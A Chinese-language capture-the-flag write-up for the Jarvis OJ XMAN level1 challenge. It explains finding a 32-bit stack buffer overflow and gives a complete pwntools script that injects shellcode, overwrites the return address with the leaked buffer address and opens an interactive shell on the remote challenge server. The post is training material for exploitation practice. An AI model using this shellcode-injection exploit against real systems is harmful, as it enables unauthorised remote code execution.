zoukankan      html  css  js  c++  java
  • Jarvis OJ [XMAN]level1 write up

    首先

    老规矩,把软件拖到Ubuntu里checksec一下文件

    然后知道了软件位数就放到IDA32里面。。。

    熟悉的函数名。。。

    缘真的妙不可言。。。

    然后看了下vulnerable_function函数的栈结构

    算了下

    vulnerable_function中的read函数准备给buf 0x100的空间

    但是buf却用了0x88+0x4就结束了vulnerable_function函数。。

    (0x88 + 0x4)<(0x100)

    所以这里出现了栈溢出

    但是,我F12+Shift一下却没发现有getshell的函数。。。

    别慌,问题不大。。

    自己构造shellcode

    当然用万能的pwntools啦。。

    不可能手工pwn的,这辈子都不可能。

    漏洞利用

    把shellcode填到以buf为起始地址的缓冲区里,并控制vulnerable_function返回到shellcode

    利用代码:

    from pwn import *
    
    context(log_level = 'debug', arch = 'i386', os = 'linux')
    
    shellcode = asm(shellcraft.sh()) #shellcraft 提供了很多现成shellcode,当然要翻译成asm格式的
    io = remote("pwn2.jarvisoj.com",9877) #要攻击的目标机
    
    buffer = io.recvline()[14:-2] 
    buf_addr = int(buffer,16)
    payload = shellcode + 'x90'*(0x88+0x4-len(shellcode)) + p32(buf_addr) #p32是打包数据库
    io.send(payload)
    io.interactive()
    io.close()

    最后

    pwntools的简单入门可以百度pwntools,看下别人整理的笔记。

  • 相关阅读:
    家庭记账本(三)记录页面的完善
    家庭记账本(二)记录界面显示
    家庭记账本(一)页面绘制
    MyBaits增删改查
    2021.01.20
    Maven_依赖与生命周期
    1592. Rearrange Spaces Between Words
    1588. Sum of All Odd Length Subarrays
    933. Number of Recent Calls
    765. Couples Holding Hands
  • 原文地址:https://www.cnblogs.com/Tu9oh0st/p/8551058.html
Copyright © 2011-2022 走看看